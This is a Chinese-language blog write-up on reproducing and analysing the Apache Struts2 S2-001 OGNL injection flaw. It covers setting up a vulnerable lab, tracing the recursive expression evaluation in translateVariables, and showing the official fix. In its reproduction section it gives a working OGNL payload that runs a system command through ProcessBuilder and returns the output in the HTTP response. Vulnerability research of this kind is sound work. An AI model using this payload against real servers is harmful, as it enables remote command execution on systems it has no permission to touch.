环境搭建

struts2包下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip

  • tomcat 7.0+macos+idea2020.1.2

首先新建一个项目,选择web和struct2,新建即可

在WEB-INF下创建个lib文件夹,然后将所需要的包,放入到lib中。

  • commons-logging-1.0.4.jar
  • freemarker-2.3.8.jar
  • ognl-2.6.11.jar
  • struts2-core-2.0.8.jar
  • xwork-2.0.3.jar

然后导入我们的包,选择File-->Project Structure.

image

image

点击ok即可。

后创建index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>

创建welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

修改struct.xml这样

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <package name="s2-001" extends="struts-default">
        <action name="login" class="com.demo.action.LoginAction">
            <result name="welcome">/welcome.jsp</result>
            <result name="error">/index.jsp</result>
        </action>
    </package>
</struts>

后在src目录下新建一个包
命名为com.demo.action
在包下新建一个java class命名为LoginAction
写入代码

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

最后选择Run-->Edit configurations
image
配置好我们的tomcat即可。
image
最终,我们的大体内容就是这样
image
最后就可以成功运行起来了。
image

漏洞复现

  • 执行任意命令payload
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

image

漏洞分析

首先,我们需要了解一些基础的概念。

ACtion

Action是用于处理请求操作的,由StructPrepareAndExecuteFilter分发过来的
在我们的struct2中,一个 Action 类代表一次请求或调用,每个请求的动作都对应一个相应的 Action 类。总之:Action就是用来处理一次用户的请求的。
为了方便项目的管理,便于统一,struct2提供了一个官方的Action接口,具体代码如下:

public interface Action {
    //定义Action接口中包含的一些结果字符串
    public static final String SUCCESS="success";
    public static final String NONE="none";
    public static final String ERROR="error";
    public static final String INPUT="input";
    public static final String LOGIN="login";
    //定义处理用户请求的execute()方法
    public String execute() throws Exception;
}

在该代码中,execute()方法为Action类的默认请求处理方法,该方法只返回一个字符串,其他的一些常量的作用是统一execute()方法的返回值。
因为Xwork的Action的接口非常简单,所以一般在开发过程中,都采用继承ActionSupport 类的方式创建 Action,
代码如下:

public class LoginAction extends ActionSupport{
    private static final long serialVersionUID = 1L;
    @Override
    public String execute() throws Exception{
        return super.execute();
    }
}

ActionSupport 是 Action 接口的默认实现类,所以继承 ActionSupport 就相当于实现了 Action 接口。
具体可参考: Mi1k7ea师傅

拦截器

拦截器(Interceptor)是 Struts2 框架的核心组成部分,它类似于 Servlet 中的过滤器。

java中的拦截器是动态拦截Action调用的对象,他提供了一种机制使开发者可以在一个Action执行前或者执行后,执行一段代码,也可以在执行钱阻止其只想,同时也提供了一种可以提取Action中可重用部分代码的方式。

拦截器是在struts.xml文件中实现的,在使用拦截器时,我们都要对拦截器进行相应的配置,通常以 <interceptor> 标签开头,以 </interceptor> 标签结束。定义拦截器的语法格式如下所示:

<interceptor name="interceptorName" class="interceptorClass">
    <param name="paramName">paramValue</param>
</interceptor>

<interceptor> 元素的 name 属性用于指定拦截器的名称,class 属性用于指定拦截器的实现类。有时,在定义拦截器时需要传入参数,这时需要使用 <param> 标签,其中 name 属性用于指定参数的名称,paramValue 表示参数的值。

在struct2中,官方也提供了一些默认的拦截器,存放在struts-core-x.x.x.jar的 struts-default.xml中。 具体内容请读者自行查看。参考:官方文档

OGNL表达式

OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言(Expression Language,简称为EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。                -------百度百科

  • 首先来介绍下OGNL的三要素:

一、表达式:

    表达式(Expression)是整个OGNL的核心内容,所有的OGNL操作都是针对表达式解析后进行的。通过表达式来告诉OGNL操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串,整个字符串将规定操作的类型和内容。OGNL表达式支持大量的表达式,如“链式访问对象”、表达式计算、甚至还支持Lambda表达式。

二、Root对象:

    OGNL的Root对象可以理解为OGNL的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是Root对象,这就意味着,如果有一个OGNL表达式,那么我们需要针对Root对象来进行OGNL表达式的计算并且返回结果。

三、上下文环境:

    有个Root对象和表达式,我们就可以使用OGNL进行简单的操作了,如对Root对象的赋值与取值操作。但是,实际上在OGNL的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL的上下文环境是一个Map结构,称之为OgnlContext。Root对象也会被添加到上下文环境当中去。

 
官方解释:**`altSyntax 功能允许将OGNL表达式插入到文本字符串中并以递归方式处理。
使用struts2的 s标签提交表单,如果验证失败则会在服务端进行一次 OGNL 表达式验证。`** 

官方给了这样的一段代码:

<s:form action="editUser">
  <s:textfield name="name" />
  <s:textfield name="phoneNumber" />
</s:form>

也就是说如果我向该页面提交name=%{1+1}&phoneNumber=111,在后段没有通过检测,返回的页面,你就回发现name处变为了2,这是因为默认情况下,参数值被处理为 %{name} ,OGNL表达式是递归计算的,所以他真正执行的表达式是 %{ %{ 1+1 } }

这就是因为OGNL所导致的漏洞,且后面的struct大部分漏洞都是OGNL所导致的。

值栈(ValueStack)

值栈是OGNL表达式存放数据的地方。
要获取数据先要获取值栈。
值栈的获取方式可以分为两种:

在request中获取值栈

ValueStack 对象在 request 范围内的存储方式为 request.setAttribute("struts.valueStack",valuestack),可以通过如下方式从 request 中取出值栈的信息。

//获取 ValueStack 对象,通过 request 对象获取
ValueStack valueStack = (ValueStack)ServletActionContext.getRequest()
            .getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY);

ServletActionContext.STRUTS_VALUESTACK_KEY的值为struts.valueStack。

在ActionContext中获取值栈

在struct2框架中,可以从 Context 对象中获取 ValueStack 对象。也即为从ActionContext对象中获取 ValueStack 对象。

//通过 ActionContext 获取 valueStack 对象
ValueStack valueStack = ActionContext.getContext().getValueStack();

ValueStack、StackContext、ActionContext

具体作用的描述:

  • valueStack: 里面存放的是Action类中通过set方法设置的属性值(表单传过来的值等),由OGNL框架实现
  • stackContext: 也是用来存值的,stack上下文,它包含一些列对象,包括request/session/attr/application map等
  • actionContext: 是action的上下文,可以得到request,session,application等,我们在JSP页面中访问value stack的内容时,是不用加#,而如果是访问stack context的其他对象则要加上#

具体区别:

  • ActionContext 就是应用上下文,可以通过他来访问session对象等,可以保存的数据,以map形式存储,在这个应用中都可以访问该数据。通常用于还回一个session对象。
  • ValueStack 是OGNL表达式语言中的值栈, 用来封装继承了action接口的类的属性值,以栈结构存储,在同一个请求范围类有效,在页面中直接通过表达式${属性名}就可以取出.
  • 值栈也称为栈结构,ActionContext也称为映射结构,表示值栈的context
  • ValueStack和ActionContext本质上可以互相获得,ValueStack.getContext()方法得到的Map其实就是ActionContext的Map

漏洞分析

首先我们可以在拦截器struts-default.xml中找到我们传入的参数被什么所拦截。
image

可见我们传入的参数被com.opensymphony.xwork2.interceptor.ParametersInterceptor所拦截,我们直接跳转到这个文件下。

在87行,代码把传入的参数打入到值栈中ValueStack stack = ac.getValueStack();,我们在这里下断点查看
image
image

我们的值已经拦截了下来,
我们现在一步一步来进行查看。

在第97行,他把我们的值带入了invocation.invoke();
image

步入查看
在第203行this.executeResult();,他将我们的值进行了execute请求。
image
image

步入查看。
image

跟进this.result.execute(this);
到达 /org/apache/struts2/dispatcher/StrutsResultSupport.java
image

跟进this.doExecute(this.lastFinalLocation, invocation);
image

跟进dispatcher.forward(request, response);
通过看变量值,发现如果跟进这里的话,会直接跳转到index.jsp。
所有我们直接快速指向index.jsp.
中间到调用栈如下:
image

因为我们传入到payload是在password处传入到,着重关注对<s:textfield name="password" label="password" />解析,所以我们步入password.
image

一直往下调试,发现其在org.apache.struts2.views.jsp.ComponentTagSupport中解析标签。
image

步入component.end
image

步入this.evaluateParams();
继续跟进。
一直跟进到if (this.altSyntax())
image

因为altSyntax默认开启,为了动态的改变标签属性的值,它允许执行标签属性中的OGNL表达式
image

跟入addParameter("nameValue", findValue(expr, valueClazz));中的findValue
image

跟入TextParseUtil.translateVariables('%', expr, this.stack);
继续跟入
image

跟入translateVariables
源码如下

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
        Object result = expression;

        while(true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int count = 1;

            while(start != -1 && x < length && count != 0) {
                char c = expression.charAt(x++);
                if (c == '{') {
                    ++count;
                } else if (c == '}') {
                    --count;
                }
            }

            int end = x - 1;
            if (start == -1 || end == -1 || count != 0) {
                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
            }

            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        }
    }

当我们在进行一轮循环后到达 String var = expression.substring(start + 2, end);
此时的var="password"
当到达stack.findValue(var, asType);,返回了我们最初传入的值为%{1+1}
image

再后来对o进行处理之后,o赋值给了我们的result,即result=%{1+1}
image

最终在进行第二轮循环时,我们的expression为%{1+1}

最后在Object o = stack.findValue(var, asType);执行我们的payload.
image

最终,触发漏洞的原因是在translateVariables中解析了我们的表达式。在处理完password后,又将password的值传入循环中,再一次进行了解析。

漏洞修复:

刚刚说了原因,那么把递归这里进行规范的处理就好了。
来看看官方的修复方法。

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        int loopCount = 1;
        int pos = 0;
        while (true) {

            int start = expression.indexOf(open + "{", pos);
            if (start == -1) {
                pos = 0;
                loopCount++;
                start = expression.indexOf(open + "{");
            }
            if (loopCount > maxLoopCount) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                break;
            }
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }


                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                String middle = null;
                if (o != null) {
                    middle = o.toString();
                    if (!TextUtils.stringSet(left)) {
                        result = o;
                    } else {
                        result = left + middle;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + middle + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
                pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                      (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                      1;
                pos = Math.max(pos, 1);
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

最后

在了chybeta师傅的文章中,提到,表单验证并不是漏洞产生的原因,只是漏洞产生的场景之一,在实际场景中,比如登陆等处,往往会配置了Validation,比如限制用户名长度,数字的范围等等,从而成为了该漏洞的高发区。

参考链接:
https://www.cnblogs.com/renchunxiao/p/3423299.html
https://xz.aliyun.com/t/2044

最后修改:2020 年 11 月 13 日 04 : 45 PM
如果觉得我的文章对你有用,请随意赞赏